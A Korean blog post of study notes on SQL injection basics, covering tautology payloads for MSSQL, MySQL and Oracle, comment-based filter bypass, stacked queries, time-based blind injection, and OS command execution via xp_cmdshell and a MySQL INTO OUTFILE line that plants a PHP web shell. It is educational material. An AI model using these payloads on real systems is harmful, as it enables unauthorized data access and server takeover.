IMLENA

SQL Injection 기초 - MS/ORACLE/MY SQL , 시간지연, 주석 등 본문

WEB

SQL Injection 기초 - MS/ORACLE/MY SQL , 시간지연, 주석 등

IM레나2 2021. 9. 3. 11:42

2021.09.02 - [WEB] - SQL Injection 기초 - DB Error 기준

 

SQL Injection 기초 - DB Error 기준

SQL Injection 이란 애플리케이션의 사용자 입력값에 SQL 쿼리를 삽입 또는 추가 하고 해당 SQL구문을 서버가 해석 및 실행하는 과정에서 발생하는 공격 테이블, 메타데이터 조작, 권한 상승등의 취약

imlena94.tistory.com

 

 

SQL Injection 을 위해 가장 기본적으로 숫자와 문자의 구분이 필요하다.

 

숫자

select * from exam where idsubject=2

select * from exam where score > 80

 

문자

select * from exam where subject='math'

select * from exam where middate > '01/06/2021'

 

참고 숫자의 문자 취급

select '2' + '2' 의 경우 4가 아니라 '22' 가되며 숫자형이 아닌 문자로 인식된다.

단 Mysql의 경우 select '2' '2';가 '22' 이며 '2'+'2'는 4로 인식한다.

 

 

* 인라인 인젝션

인라인 인젝션이란 기존 SQL 쿼리일부에 삽입해 실행시키는 것이다.

 

- 문자열 형태

select * from user where id='' and pw='';

 

ID에만 ' or '1'='1 입력

select * from user where id='' or '1'='1' and pw='';

 

SQL 에서 AND연산과 OR연산이 같이 있을 경우 AND연산이 우선순위가 높아서 먼저 실행된다.

mysql> select * from user where id='' or '1'='1' and pw='';
Empty set (0.00 sec)

select * from user where (id='' or '1'='1') and pw='';

이기 때문에 거짓이 나온다.

 

OR 구문을 추가하여 참을 만들어 주면 원하던 결과가 출력된다.

mysql> select * from user where id='' or 1=1 or '1'='1' and pw='';
+-------+-------+
| id    | pw    |
+-------+-------+
| hola  | hola  |
| nihao | nihao |
| ohayo | ohayo |
| cava  | cava  |
| lena  | lena  |
+-------+-------+
5 rows in set (0.00 sec)

select * from user where id='' or [1=1 or ('1'='1' and pw='')];

'1'='1' and pw='' 거짓 false

1=1 or false 참 true

id='' or true 참 true

 

 

문자형 Inline

문자열 변형 예상되는 결과
    에러발생
1' or '1'='1 1') or ('1'='1 항상 참, 모든 행을 반환
value' or '1'='2 value') or ('1'='2 조건 없음, 성공시 원래 value 값을 입력했을 때와 같은 결과 예상
1' and '1'='2 1')and('1'='2 항상 거짓, 성공시 데이터 반환 하지 않음
1'or 'ab'='a'+'b 1')or('ab'='a'+'b MSSQL, 성공시 참
1'or 'ab'='a' 'b 1')or('ab'='a' 'b MYSQL 성공시 참
1'or 'ab'='a'||'b 1')or('ab'='a'||'b ORACLE, 성공시 참

 

-숫자형 형태

문자열 변형 예상되는 결과
    에러발생, 성공시 DB에러
1+1 3-1 성공시 연산 결과 반환
VALUE+0   성공시 원래 요청과 같은 데이터 반환
1 or 1=1 1) or (1=1 항상 참, 성공시 모든 행반환
value or 1=2 value) or (1=2 성공시 원래 value 값의 결과가 반환
1 and 1=2 1)and(1=2 항상거짓, 성공시 데이터 반환 없음
1 or 'ab'='a'+'b' 1) or ('ab'='a'+'b' MSSQL 성공시 조건과 동일한 값 반환
1 or 'ab'='a' 'b' 1) or ('ab'='a' 'b' MYSQL 성공시 조건과 동일한 값 반환
1 or 'ab'='a'||'b' 1) or ('ab'='a'||'b' ORACLE 성공시 조건과 동일한 값 반환

 

-주석처리(구문종료)

DB 주석 처리   
MS/ORACLE -- 한줄 주석
/* */ 구간 주석
MySQL # 한줄 주석
/* */ 다중 주석
 --  한줄주석, -- 뒤에 띄어 쓰기 필수

 

#보충

 

공백이나 -- 가 필터링 된 경우 다음의 경우를 생각 해볼 수 있다.

select * from user where id='hola'/*' and pw='*/'';

'' 공백이라 영향을 미치지 않는 듯

주석을 제외하면

select * from user where id='hola' '';

또는 select * from user where id=''/**/or/**/1=1/**/or/**/'1'='1' and pw='';

공백이 들어가야하는자리에 /**/ 으로 대체 -> 짧고 간단한 다른 방법들이 존재함

 

 

 

- 다중구문 실행

 

아래와 같이 ;를 넣어 쿼리를 중단하고 다른 쿼리를 넣는 기법

mysql> select id from user; select pw from user;
+-------+
| id    |
+-------+
| hola  |
| nihao |
| ohayo |
| cava  |
| lena  |
+-------+
5 rows in set (0.00 sec)

+-------+
| pw    |
+-------+
| hola  |
| nihao |
| ohayo |
| cava  |
| lena  |
+-------+
5 rows in set (0.00 sec)

 

EX)

select * from item where idx=3; select * from item having 1=1 group by id;--

로 에러를 발생시켜 정보 확인

 

#보충

MySQL 기준 Having과 GROUP BY

 

Having은 where과 같은 조건절이다.

Group by는 그룹을 묶고 집계의 결과를 보여 줄 때 사용한다.

 

mysql> select * from item group by idx having idx > 4;
+-----+--------+-------+
| idx | name   | price |
+-----+--------+-------+
|   5 | laptop |  1000 |
|   6 | shirts |   550 |
+-----+--------+-------+
2 rows in set (0.00 sec)
mysql> select * from item group by price having count(price) > 1;
+-----+------+-------+
| idx | name | price |
+-----+------+-------+
|   1 | car  |  1000 |
+-----+------+-------+
1 row in set (0.00 sec)
기존 테이블

mysql> select * from item;
+-----+------------+-------+
| idx | name       | price |
+-----+------------+-------+
|   1 | car        |  1000 |
|   2 | bag        |   500 |
|   3 | plasticbag |    50 |
|   4 | oil        |  1500 |
|   5 | laptop     |  1000 |
|   6 | shirts     |   550 |
+-----+------------+-------+
6 rows in set (0.00 sec)
mysql> select idx, count(price) from item group by price;
+-----+--------------+
| idx | count(price) |
+-----+--------------+
|   1 |            2 |
|   2 |            1 |
|   3 |            1 |
|   4 |            1 |
|   6 |            1 |
+-----+--------------+
5 rows in set (0.00 sec)
mysql> select * from item group by price having count(price) = 1;
+-----+------------+-------+
| idx | name       | price |
+-----+------------+-------+
|   2 | bag        |   500 |
|   3 | plasticbag |    50 |
|   4 | oil        |  1500 |
|   6 | shirts     |   550 |
+-----+------------+-------+
4 rows in set (0.00 sec)

having 은 group by 절 뒤에서 사용

group by는 where 절 뒤에서 사용

 

 

#시스템 명령 실행

MSSQL

idx=2;exec master..xp_cmdshell 'ping www.google.com';--  

 

MySQL with PHP

select '<?php echo shell_exec($_GET[&quot;cmd&quot;]);?>' into outfile '/var/www/site/shell.php';--

 

'< >' 코드를 /var/~경로에 출력

 

- 시간지연

애플리케이션에서 어떤한 에러도, 데이터도 출력 하지 않는 경우에 사용

MSSQL WAITFOR DELAY 'hours:minutes:seconds'
MySQL sleep( ) 이용

mysql> select * from item where substr(name,1,1)='b' and sleep(2);
Empty set (2.01 sec)
앞의 조건이 참인 경우
mysql> select * from item where substr(name,1,1)='a' and sleep(2);
Empty set (0.00 sec)
앞의 조건이 거짓인 경우

Benchmark( ) 이용
mysql> select * from item where idx=1 and benchmark(2000000,md5('a'));
Empty set (0.38 sec)
idx=1 값이 존재
mysql> select * from item where idx=10 and benchmark(2000000,md5('a'));
Empty set (0.00 sec)
idx=10 값이 존재하지 않는 경우
ORACLE DBMS_LOCK.SLEEP() 이용
* 오라클은 중복쿼리 지원안함, DBMS_LOCK 패키지는 DB관리자에 의해서만 실행가능 하다는 제약이 존재

 

 

 

 

출처:철통보안 SQL 인젝션, 공격과 방어의 원리

 

Comments